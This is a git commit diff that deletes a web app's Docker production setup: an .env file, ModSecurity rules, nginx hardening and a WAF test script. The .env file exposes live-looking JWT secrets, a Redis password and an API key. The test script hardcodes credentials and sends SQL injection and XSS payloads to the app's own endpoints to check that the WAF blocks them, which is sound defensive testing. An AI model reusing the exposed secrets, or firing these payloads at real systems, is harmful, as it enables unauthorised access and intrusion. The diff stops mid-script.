chore: update

This commit is contained in:
2026-06-14 17:39:43 +02:00
parent 0835c06d8b
commit ad8ecbe452
10 changed files with 1 additions and 1228 deletions
+1
View File
@@ -8,3 +8,4 @@ frontend-prep2/
scripts/data.txt scripts/data.txt
scripts/data2.txt scripts/data2.txt
scripts/data3.txt scripts/data3.txt
docker-prod/
-16
View File
@@ -1,16 +0,0 @@
DB_HOST=postgres
DB_PORT=5432
DB_USER=postgres
DB_PASSWORD=votre_mot_de_passe
DB_NAME=gestion_db
DB_SSLMODE=disable
SESSION_SECRET=jfWR21Ywbuy{Yq<1A26TV)jCe
USER_JWT_SECRET=TheAmaziNgSecretJwtMotherFuckerInThEbitCh3232131231313443jqfdksdjfjsldfjlds
ADMIN_JWT_SECRET=TheAmaziNgSecretJwtMotherFuckerInThEbitCh3232131231313443jqfdksdjfjsldfjlzZ
REDIS_HOST=redis
REDIS_PORT=6379
REDIS_PASSWORD=dndsjvnsdnvjsvdnjsvdn
TOMTOM_API_KEY=MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB
API_PORT=8080
FRONTEND_PORT=5173
GIN_MODE=release
-76
View File
@@ -1,76 +0,0 @@
FROM golang:1.24-alpine AS builder
WORKDIR /app
# Installer les dépendances système
RUN apk add --no-cache git ca-certificates tzdata gcc musl-dev
# Copier go mod files
COPY backend/gestion/go.mod backend/gestion/go.sum ./
# Configurer Go et télécharger les dépendances
ENV GOPROXY=https://proxy.golang.org,direct
ENV GOSUMDB=sum.golang.org
ENV CGO_ENABLED=0
# Télécharger les dépendances
RUN go mod download
# Copier tout le code source
COPY backend/gestion/ .
# Build le binaire
RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build \
-ldflags="-w -s -X main.Version=1.0.0 -X main.BuildTime=$(date -u +%Y-%m-%dT%H:%M:%SZ)" \
-o /app/server .
# =========================================================
# Stage 2: Runtime
# =========================================================
FROM alpine:latest AS runtime
# Installer les dépendances runtime
RUN apk --no-cache add ca-certificates tzdata wget
# Créer l'utilisateur avec UID/GID fixes
RUN addgroup -g 101 app && adduser -u 101 -S app -G app
WORKDIR /app
# Copier le binaire et les fichiers nécessaires
COPY --from=builder /app/server .
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
# Copier l'entrypoint
COPY docker/backend/entrypoint.sh .
RUN chmod +x entrypoint.sh
RUN mkdir -p /app/uploads/images /app/uploads/videos && \
chown -R app:app /app
# Passer à l'utilisateur non-root
USER app
EXPOSE 8080
ENTRYPOINT ["./entrypoint.sh"]
# =========================================================
# Stage 3: WAF (Nginx + ModSecurity)
# =========================================================
FROM owasp/modsecurity-crs:nginx-alpine AS waf
# Toutes les opérations privilégiées en root
USER root
RUN mkdir -p /var/log/modsec /etc/nginx/certs && \
chown -R nginx:nginx /var/log/modsec /etc/nginx/certs /usr/share/nginx/html
COPY docker/backend/nginx.conf /etc/nginx/conf.d/app.conf
COPY docker/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
RUN echo "Include /etc/nginx/modsec/custom-rules.conf" > /etc/nginx/modsec/custom-includes.conf && \
rm -f /etc/nginx/templates/conf.d/default.conf.template || true
USER nginx
EXPOSE 80 443
CMD ["nginx", "-g", "daemon off;"]
-74
View File
@@ -1,74 +0,0 @@
SecRuleRemoveById 932235
SecRuleRemoveById 911100
SecRule REQUEST_URI "@streq /api/v2/admin/protected/products" \
"id:399002,phase:2,nolog,pass,\
ctl:ruleRemoveById=920120,\
ctl:ruleRemoveById=920121"
SecRule REQUEST_URI "@beginsWith /uploads/" \
"id:1000,\
phase:1,\
pass,\
nolog,\
ctl:ruleEngine=Off"
SecRule IP:BANNED "@eq 1" \
"id:100000,phase:1,deny,status:403,log,\
msg:'IP is banned'"
SecRule IP:REPUTATION_SCORE "@ge 100" \
"id:100099,phase:1,deny,status:403,log,\
msg:'Critical reputation score',\
setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'"
SecRule TX:SQL_INJECTION_SCORE "@ge 5" \
"id:100001,phase:2,deny,status:403,log,\
msg:'SQL Injection detected',\
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
SecRule TX:XSS_SCORE "@ge 5" \
"id:100010,phase:2,deny,status:403,log,\
msg:'XSS detected',\
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
SecRule TX:RCE_SCORE "@ge 5" \
"id:100020,phase:2,deny,status:403,log,\
msg:'RCE detected',\
setvar:'ip.banned=1',expirevar:'ip.banned=259200'"
SecRule TX:LFI_SCORE "@ge 5" \
"id:100030,phase:2,deny,status:403,log,\
msg:'LFI detected',\
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
SecRule TX:INBOUND_ANOMALY_SCORE "@ge 20" \
"id:100060,phase:2,deny,status:403,log,\
msg:'Critical anomaly score',\
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
SecRule REQUEST_URI "@streq /api/v1/panier/remove" \
"id:399010,phase:1,nolog,pass,\
ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350"
SecRule REQUEST_URI "@streq /api/v1/panier/clear" \
"id:399011,phase:1,nolog,pass,\
ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350"
SecRule REQUEST_URI "@streq /api/v2/admin/protected/products" \
"id:399001,phase:2,nolog,pass,\
ctl:ruleRemoveById=932235"
SecAction \
"id:400161,phase:1,nolog,pass,\
setvar:'ip.request_window_1sec=+1',\
expirevar:'ip.request_window_1sec=1'"
SecRule IP:REQUEST_WINDOW_1SEC "@gt 20" \
"id:400160,phase:1,deny,status:429,log,\
msg:'Too many requests'"
SecRule IP:REPUTATION_SCORE "@ge 100" \
"id:409999,phase:1,deny,status:403,log,\
msg:'Critical reputation score',\
setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'"
-16
View File
@@ -1,16 +0,0 @@
#!/bin/sh
set -e
# Créer le dossier uploads s'il n'existe pas (le volume le crée en root)
# Puis créer les sous-dossiers
if [ ! -d "/app/uploads" ]; then
mkdir -p /app/uploads
fi
# Créer les sous-répertoires
mkdir -p /app/uploads/images /app/uploads/videos 2>/dev/null || true
echo "✅ Répertoires uploads prêts"
# Lancer l'application
exec ./server
-209
View File
@@ -1,209 +0,0 @@
# =========================================================
# Request ID correlation
# =========================================================
map $http_x_request_id $req_id {
default $http_x_request_id;
"" $request_id;
}
# =========================================================
# Upstreams
# =========================================================
upstream backend {
server backend:8080;
keepalive 32;
}
upstream frontend {
server frontend:80;
keepalive 8;
}
# =========================================================
# HTTP → HTTPS redirect
# =========================================================
server {
listen 80;
listen [::]:80;
server_name _;
return 301 https://$host$request_uri;
}
# =========================================================
# HTTPS — Hardened
# =========================================================
server {
listen 443 ssl;
listen [::]:443 ssl;
http2 on;
server_name _;
server_tokens off;
# ---------------------------------------------------
# TLS
# ---------------------------------------------------
ssl_certificate /etc/nginx/certs/fullchain.pem;
ssl_certificate_key /etc/nginx/certs/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers off;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 1d;
ssl_session_tickets off;
ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /etc/nginx/certs/fullchain.pem;
resolver 1.1.1.1 8.8.8.8 valid=300s;
resolver_timeout 5s;
# ---------------------------------------------------
# En-têtes de sécurité
# ---------------------------------------------------
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "0" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=()" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob: https:; font-src 'self' data:; connect-src 'self' https:; frame-ancestors 'self';" always;
# ---------------------------------------------------
# Limites et timeouts
# ---------------------------------------------------
client_max_body_size 100M;
client_body_buffer_size 128k;
client_header_buffer_size 1k;
large_client_header_buffers 4 8k;
client_body_timeout 30s;
client_header_timeout 30s;
send_timeout 30s;
keepalive_timeout 65s;
# ---------------------------------------------------
# Gzip (statique uniquement — évite BREACH sur l'API)
# ---------------------------------------------------
gzip on;
gzip_vary on;
gzip_proxied any;
gzip_comp_level 5;
gzip_min_length 1000;
gzip_types text/plain text/css text/javascript application/javascript application/json image/svg+xml;
# ---------------------------------------------------
# ModSecurity WAF
# ---------------------------------------------------
modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/custom-rules.conf;
# ---------------------------------------------------
# API backend Go
# ---------------------------------------------------
location /api/ {
limit_except GET POST PUT PATCH DELETE OPTIONS { deny all; }
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Origin' "$http_origin" always;
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, PATCH, DELETE, OPTIONS' always;
add_header 'Access-Control-Allow-Headers' 'Authorization, Content-Type, X-Request-ID' always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Access-Control-Max-Age' 86400 always;
add_header 'Content-Length' 0;
add_header 'Content-Type' 'text/plain charset=UTF-8';
return 204;
}
proxy_pass http://backend;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Request-ID $req_id;
proxy_hide_header X-Powered-By;
proxy_connect_timeout 60s;
proxy_send_timeout 300s;
proxy_read_timeout 300s;
proxy_buffer_size 128k;
proxy_buffers 4 256k;
proxy_busy_buffers_size 256k;
}
# ---------------------------------------------------
# Webhook Telegram
# ---------------------------------------------------
location = /webhook/telegram {
limit_except POST { deny all; }
proxy_pass http://backend;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# ---------------------------------------------------
# Fichiers uploadés (images / vidéos)
# ---------------------------------------------------
location /uploads/ {
alias /usr/share/nginx/html/uploads/;
expires 7d;
add_header Cache-Control "public, no-transform" always;
add_header X-Content-Type-Options "nosniff" always;
location ~* \.(php|pl|py|cgi|sh|rb|exe)$ {
deny all;
}
}
# ---------------------------------------------------
# Frontend React SPA
# ---------------------------------------------------
location / {
proxy_pass http://frontend;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# ---------------------------------------------------
# Blocage fichiers sensibles
# ---------------------------------------------------
location ~ /\. {
deny all;
access_log off;
log_not_found off;
}
location ~* \.(env|git|sql|bak|log|conf|ini|sh)$ {
deny all;
access_log off;
log_not_found off;
}
location ~* (package\.json|package-lock\.json|yarn\.lock|Dockerfile|docker-compose)$ {
deny all;
access_log off;
log_not_found off;
}
# Bloquer scans WordPress / PHP courants
location ~* (wp-admin|wp-login|wp-content|xmlrpc|\.php)$ {
deny all;
access_log off;
log_not_found off;
}
}
-177
View File
@@ -1,177 +0,0 @@
services:
# =========================================================
# Backend Go
# =========================================================
backend:
image: xor1234/backend-mln:latest
container_name: gestion-backend
restart: unless-stopped
environment:
- DB_HOST=${DB_HOST:-postgres}
- DB_PORT=${DB_PORT:-5432}
- DB_USER=${DB_USER:-postgres}
- DB_PASSWORD=${DB_PASSWORD}
- DB_NAME=${DB_NAME:-gestion_db}
- DB_SSLMODE=${DB_SSLMODE:-disable}
- SESSION_SECRET=${SESSION_SECRET}
- USER_JWT_SECRET=${USER_JWT_SECRET}
- USER_JWT_SECRET_OLD=${USER_JWT_SECRET_OLD}
- ADMIN_JWT_SECRET=${ADMIN_JWT_SECRET}
- ADMIN_JWT_SECRET_OLD=${ADMIN_JWT_SECRET_OLD}
- REDIS_HOST=${REDIS_HOST:-redis}
- REDIS_PORT=${REDIS_PORT:-6379}
- REDIS_PASSWORD=${REDIS_PASSWORD}
- TOMTOM_API_KEY=${TOMTOM_API_KEY}
- API_PORT=${API_PORT:-8080}
- TELEGRAM_WEBHOOK_URL=${TELEGRAM_WEBHOOK_URL}
- TELEGRAM_WEBHOOK_SECRET=${TELEGRAM_WEBHOOK_SECRET}
- NOWPAYMENTS_IPN_SECRET=${NOWPAYMENTS_IPN_SECRET}
volumes:
- backend_uploads:/app/uploads
networks:
- gestion-network
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
# =========================================================
# Frontend Web (React/Vite — servi en HTTP interne)
# =========================================================
frontend:
image: xor1234/frontend-mln:latest
container_name: gestion-frontend
restart: unless-stopped
networks:
- gestion-network
depends_on:
- backend
waf:
image: xor1234/backend-mln:waf
container_name: gestion-waf
restart: unless-stopped
environment:
- DISABLE_MODSEC_ENV_SUBST=true
- PARANOIA=2
- ANOMALY_INBOUND=5
- ANOMALY_OUTBOUND=4
ports:
- "80:80"
- "443:443"
volumes:
- backend_uploads:/usr/share/nginx/html/uploads:ro
- ./certs:/etc/nginx/certs:ro
networks:
- gestion-network
depends_on:
- backend
- frontend
# =========================================================
# PostgreSQL
# =========================================================
postgres:
image: postgres:16-alpine
container_name: gestion-postgres
restart: unless-stopped
environment:
- POSTGRES_USER=${DB_USER:-postgres}
- POSTGRES_PASSWORD=${DB_PASSWORD}
- POSTGRES_DB=${DB_NAME:-gestion_db}
- PGDATA=/var/lib/postgresql/data/pgdata
volumes:
- postgres_data:/var/lib/postgresql/data
networks:
- gestion-network
healthcheck:
test:
[
"CMD-SHELL",
"pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}",
]
interval: 10s
timeout: 5s
retries: 5
start_period: 10s
# =========================================================
# Redis
# =========================================================
redis:
image: redis:7-alpine
container_name: gestion-redis
restart: unless-stopped
command: >
redis-server
--requirepass ${REDIS_PASSWORD}
--appendonly yes
--appendfsync everysec
--maxmemory 256mb
--maxmemory-policy allkeys-lru
volumes:
- redis_data:/data
networks:
- gestion-network
healthcheck:
test:
[
"CMD",
"redis-cli",
"--no-auth-warning",
"-a",
"${REDIS_PASSWORD}",
"ping",
]
interval: 10s
timeout: 3s
retries: 5
start_period: 10s
dozzle-agent:
image: amir20/dozzle:latest
command: agent
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
ports:
- "7007:7007"
restart: unless-stopped
clamav:
deploy:
resources:
limits:
memory: 1g
cpus: 0.5
image: clamav/clamav:latest
container_name: gestion-clamav
restart: unless-stopped
volumes:
- backend_uploads:/app/uploads:ro
- clamav_data:/var/lib/clamav
networks:
- gestion-network
healthcheck:
test: ["CMD", "clamdcheck.sh"]
interval: 60s
timeout: 10s
retries: 3
start_period: 120s
networks:
gestion-network:
driver: bridge
internal: false
driver_opts:
com.docker.network.bridge.name: gestion-br0
volumes:
postgres_data:
driver: local
redis_data:
driver: local
backend_uploads:
driver: local
clamav_data:
driver: local
-34
View File
@@ -1,34 +0,0 @@
# =========================================================
# Stage 1: Build React/Vite
# =========================================================
FROM node:22-alpine AS builder
WORKDIR /app
COPY frontend-prep/package.json frontend-prep/package-lock.json* ./
RUN npm ci --ignore-scripts
COPY frontend-prep/ .
RUN npm run build
# =========================================================
# Stage 2: Nginx HTTP (TLS terminé par le WAF)
# =========================================================
FROM nginx:alpine AS runtime
COPY docker/frontend/nginx.conf /etc/nginx/conf.d/default.conf
COPY --from=builder /app/dist /usr/share/nginx/html
RUN chown -R nginx:nginx /usr/share/nginx/html && \
mkdir -p /var/cache/nginx && \
chown -R nginx:nginx /var/cache/nginx && \
chown -R nginx:nginx /var/log/nginx && \
touch /var/run/nginx.pid && \
chown nginx:nginx /var/run/nginx.pid
USER nginx
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]
-16
View File
@@ -1,16 +0,0 @@
server {
listen 80;
server_name _;
root /usr/share/nginx/html;
index index.html;
location / {
try_files $uri $uri/ /index.html;
}
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
expires 1y;
add_header Cache-Control "public, immutable";
}
}
-610
View File
@@ -1,610 +0,0 @@
#!/bin/bash
# =============================================================================
# Script de Test - ModSecurity Rules (XSS, SQL Injection, RCE, LFI, RFI)
# =============================================================================
# Description: Teste les règles WAF pour XSS, SQL, RCE, LFI et RFI
# Usage: ./test-rules.sh
# =============================================================================
# Couleurs pour l'affichage
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
PURPLE='\033[0;35m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color
BOLD='\033[1m'
# Configuration
API_BASE_URL="http://172.20.167.237"
# Credentials Client
CLIENT_USERNAME="salut"
CLIENT_PASSWORD="salut1234_"
CLIENT_TOKEN=""
# Credentials Admin
ADMIN_USERNAME="admin_1768505094"
ADMIN_PASSWORD="AdminPass123!"
ADMIN_TOKEN=""
TOTAL_TESTS=0
PASSED_TESTS=0
FAILED_TESTS=0
LOG_FILE="modsec_test_$(date +%Y%m%d_%H%M%S).log"
# =============================================================================
# Fonctions Utilitaires
# =============================================================================
print_header() {
echo -e "\n${BOLD}${CYAN}========================================${NC}"
echo -e "${BOLD}${CYAN}$1${NC}"
echo -e "${BOLD}${CYAN}========================================${NC}\n"
}
print_section() {
echo -e "\n${BOLD}${BLUE}>>> $1${NC}\n"
}
print_test() {
echo -e "${YELLOW}[TEST] $1${NC}"
}
print_success() {
((PASSED_TESTS++))
((TOTAL_TESTS++))
echo -e "${GREEN}✓ PASS${NC} - $1" | tee -a "$LOG_FILE"
}
print_fail() {
((FAILED_TESTS++))
((TOTAL_TESTS++))
echo -e "${RED}✗ FAIL${NC} - $1" | tee -a "$LOG_FILE"
}
print_info() {
echo -e "${CYAN} INFO${NC} - $1"
}
print_warning() {
echo -e "${YELLOW}⚠ WARNING${NC} - $1"
}
print_response() {
echo -e "${PURPLE}📄 Response:${NC} $1"
}
# Fonction pour effectuer une requête HTTP avec token client
http_test_client() {
local method=$1
local endpoint=$2
local data=$3
local expected_code=$4
local description=$5
local extra_headers=$6
print_test "$description"
if [ -z "$data" ]; then
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $CLIENT_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
"${API_BASE_URL}${endpoint}" 2>&1)
else
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $CLIENT_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
-d "$data" \
"${API_BASE_URL}${endpoint}" 2>&1)
fi
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq "$expected_code" ]; then
print_success "$description (HTTP $http_code)"
else
print_fail "$description - Expected: $expected_code, Got: $http_code"
print_response "$body"
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
echo "Response: $body" >> "$LOG_FILE"
fi
sleep 0.5
}
# Fonction pour effectuer une requête HTTP avec token admin
http_test_admin() {
local method=$1
local endpoint=$2
local data=$3
local expected_code=$4
local description=$5
local extra_headers=$6
print_test "$description"
if [ -z "$data" ]; then
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
"${API_BASE_URL}${endpoint}" 2>&1)
else
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
$extra_headers \
-d "$data" \
"${API_BASE_URL}${endpoint}" 2>&1)
fi
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq "$expected_code" ]; then
print_success "$description (HTTP $http_code)"
echo "$body"
else
print_fail "$description - Expected: $expected_code, Got: $http_code"
print_response "$body"
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
echo "Response: $body" >> "$LOG_FILE"
fi
sleep 0.5
}
# Fonction pour effectuer une requête HTTP sans authentification
http_test_no_auth() {
local method=$1
local endpoint=$2
local data=$3
local expected_code=$4
local description=$5
print_test "$description"
if [ -z "$data" ]; then
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Content-Type: application/json" \
"${API_BASE_URL}${endpoint}" 2>&1)
else
response=$(curl -s -w "\n%{http_code}" -X "$method" \
-H "Content-Type: application/json" \
-d "$data" \
"${API_BASE_URL}${endpoint}" 2>&1)
fi
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq "$expected_code" ]; then
print_success "$description (HTTP $http_code)"
else
print_fail "$description - Expected: $expected_code, Got: $http_code"
print_response "$body"
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
echo "Response: $body" >> "$LOG_FILE"
fi
sleep 0.5
}
# =============================================================================
# Authentification
# =============================================================================
authenticate() {
print_header "AUTHENTIFICATION"
# ==================== CLIENT LOGIN ====================
print_section "1. Login Client"
response=$(curl -s -w "\n%{http_code}" -X POST \
-H "Content-Type: application/json" \
-d "{\"username\":\"$CLIENT_USERNAME\",\"password\":\"$CLIENT_PASSWORD\"}" \
"${API_BASE_URL}/api/v1/auth/login")
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq 200 ]; then
CLIENT_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
if [ -n "$CLIENT_TOKEN" ]; then
print_success "Login Client réussi - Token obtenu"
print_info "Token Client: ${CLIENT_TOKEN:0:50}..."
else
print_fail "Login Client réussi mais token non trouvé"
print_response "$body"
exit 1
fi
else
print_fail "Échec du login Client (HTTP $http_code)"
print_response "$body"
exit 1
fi
# ==================== ADMIN LOGIN ====================
print_section "2. Login Admin"
response=$(curl -s -w "\n%{http_code}" -X POST \
-H "Content-Type: application/json" \
-d "{\"username\":\"$ADMIN_USERNAME\",\"password\":\"$ADMIN_PASSWORD\"}" \
"${API_BASE_URL}/api/v2/admin/auth/login")
http_code=$(echo "$response" | tail -n1)
body=$(echo "$response" | sed '$d')
if [ "$http_code" -eq 200 ]; then
ADMIN_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
if [ -n "$ADMIN_TOKEN" ]; then
print_success "Login Admin réussi - Token obtenu"
print_info "Token Admin: ${ADMIN_TOKEN:0:50}..."
else
print_fail "Login Admin réussi mais token non trouvé"
print_response "$body"
exit 1
fi
else
print_fail "Échec du login Admin (HTTP $http_code)"
print_response "$body"
exit 1
fi
}
# =============================================================================
# Tests SQL Injection
# =============================================================================
test_sql_injection() {
print_header "TESTS SQL INJECTION"
print_section "1. SQL Injection - Login"
# Test 1: SQL Injection classique dans login client
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
403 "SQLi - Login Client OR 1=1"
# Test 2: SQL Injection dans login admin
http_test_no_auth "POST" "/api/v2/admin/auth/login" \
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
403 "SQLi - Login Admin OR 1=1"
# Test 3: SQL Injection avec UNION
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' UNION SELECT * FROM users--","password":"test"}' \
403 "SQLi - UNION SELECT"
# Test 4: SQL Injection avec DROP TABLE
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\''; DROP TABLE users;--","password":"test"}' \
403 "SQLi - DROP TABLE"
# Test 5: SQL Injection avec commentaire
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\''--","password":"test"}' \
403 "SQLi - Commentaire SQL --"
print_section "2. SQL Injection - Panier"
# Test 6: SQL Injection dans name_product
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"Pizza'\'' OR 1=1--","category":"pizza","quantity":1}' \
403 "SQLi - Panier name_product"
# Test 7: SQL Injection dans category
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"Pizza","category":"pizza'\'' OR '\''1'\''='\''1","quantity":1}' \
403 "SQLi - Panier category"
print_section "3. SQL Injection - Admin"
# Test 8: SQL Injection dans username pénalité
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
"{\"username\":\"admin' OR '1'='1\",\"amount\":50.0,\"reason\":\"Test\"}" \
403 "SQLi - Username pénalité"
# Test 9: SQL Injection dans paramètres commandes
http_test_admin "GET" "/api/v2/admin/protected/orders?status=pending' OR '1'='1" \
"" \
403 "SQLi - Paramètres commandes"
# Test 10: SQL Injection dans ID commande
http_test_admin "POST" "/api/v2/admin/protected/orders/1' OR '1'='1/auto-assign" \
"" \
403 "SQLi - ID commande"
# Test 11: SQL Injection dans username livreur
http_test_admin "GET" "/api/v2/admin/protected/delivery-persons/john' OR '1'='1/location" \
"" \
403 "SQLi - Username livreur"
print_section "4. SQL Injection - Commandes Client"
# Test 12: SQL Injection dans adresse checkout
http_test_client "POST" "/api/v1/checkout" \
'{"delivery_address":"1'\'' OR '\''1'\''='\''1"}' \
403 "SQLi - Adresse checkout"
# Test 13: SQL Injection nom produit admin
http_test_admin "POST" "/api/v2/admin/protected/products" \
'{"nom":"Pizza'\'' OR '\''1'\''='\''1","category":"pizza","stock":10,"prix":12.99}' \
403 "SQLi - Nom produit admin"
print_section "5. SQL Injection - Variantes avancées"
# Test 14: SQL Injection avec AND
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND '\''1'\''='\''1","password":"test"}' \
403 "SQLi - AND condition"
# Test 15: SQL Injection avec encodage hex
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' OR 0x31=0x31--","password":"test"}' \
403 "SQLi - Encodage hex"
# Test 16: SQL Injection avec SLEEP (Time-based)
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND SLEEP(5)--","password":"test"}' \
403 "SQLi - Time-based SLEEP"
# Test 17: SQL Injection avec BENCHMARK
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND BENCHMARK(10000000,SHA1('\''test'\''))--","password":"test"}' \
403 "SQLi - BENCHMARK"
# Test 18: SQL Injection avec sous-requête
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"admin'\'' AND (SELECT COUNT(*) FROM users)>0--","password":"test"}' \
403 "SQLi - Sous-requête"
}
# =============================================================================
# Tests XSS (Cross-Site Scripting)
# =============================================================================
test_xss() {
print_header "TESTS XSS (CROSS-SITE SCRIPTING)"
print_section "1. XSS - Login"
# Test 1: XSS basique avec script tag
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<script>alert(1)</script>","password":"test"}' \
403 "XSS - Script tag basique"
# Test 2: XSS avec event handler
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<img src=x onerror=alert(1)>","password":"test"}' \
403 "XSS - Event handler onerror"
# Test 3: XSS avec SVG
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<svg onload=alert(1)>","password":"test"}' \
403 "XSS - SVG onload"
print_section "2. XSS - Panier"
# Test 4: XSS dans name_product
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"<script>alert('\''XSS'\'')</script>","category":"pizza","quantity":1}' \
403 "XSS - Panier name_product"
# Test 5: XSS dans category
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"Pizza","category":"<script>alert(1)</script>","quantity":1}' \
403 "XSS - Panier category"
print_section "3. XSS - Admin"
# Test 6: XSS dans raison pénalité
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
"{\"username\":\"$CLIENT_USERNAME\",\"amount\":30.0,\"reason\":\"<script>alert('XSS')</script>\"}" \
400 "XSS - Raison pénalité"
# Test 7: XSS dans paramètres commandes
http_test_admin "GET" "/api/v2/admin/protected/orders?username=<script>alert(1)</script>" \
"" \
403 "XSS - Paramètres commandes"
# Test 8: XSS dans description produit
http_test_admin "POST" "/api/v2/admin/protected/products" \
'{"nom":"Pizza","category":"pizza","description":"<script>alert(1)</script>","stock":10,"prix":12.99}' \
403 "XSS - Description produit"
print_section "4. XSS - Commandes Client"
# Test 9: XSS dans adresse checkout
http_test_client "POST" "/api/v1/checkout" \
'{"delivery_address":"<script>alert(1)</script>"}' \
403 "XSS - Adresse checkout"
# Test 10: XSS dans commentaire approbation
http_test_client "POST" "/api/v1/commands/1/approve" \
'{"rating":5,"comment":"<script>alert(1)</script>"}' \
403 "XSS - Commentaire approbation"
# Test 11: XSS dans raison annulation
http_test_client "POST" "/api/v1/commands/1/cancel" \
'{"reason":"<script>alert(1)</script>"}' \
403 "XSS - Raison annulation"
print_section "5. XSS - Variantes avancées"
# Test 12: XSS avec iframe
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<iframe src=javascript:alert(1)>","password":"test"}' \
403 "XSS - iframe javascript"
# Test 13: XSS avec body onload
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<body onload=alert(1)>","password":"test"}' \
403 "XSS - body onload"
# Test 14: XSS avec input autofocus
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<input autofocus onfocus=alert(1)>","password":"test"}' \
403 "XSS - input autofocus"
# Test 15: XSS avec marquee
http_test_no_auth "POST" "/api/v1/auth/login" \
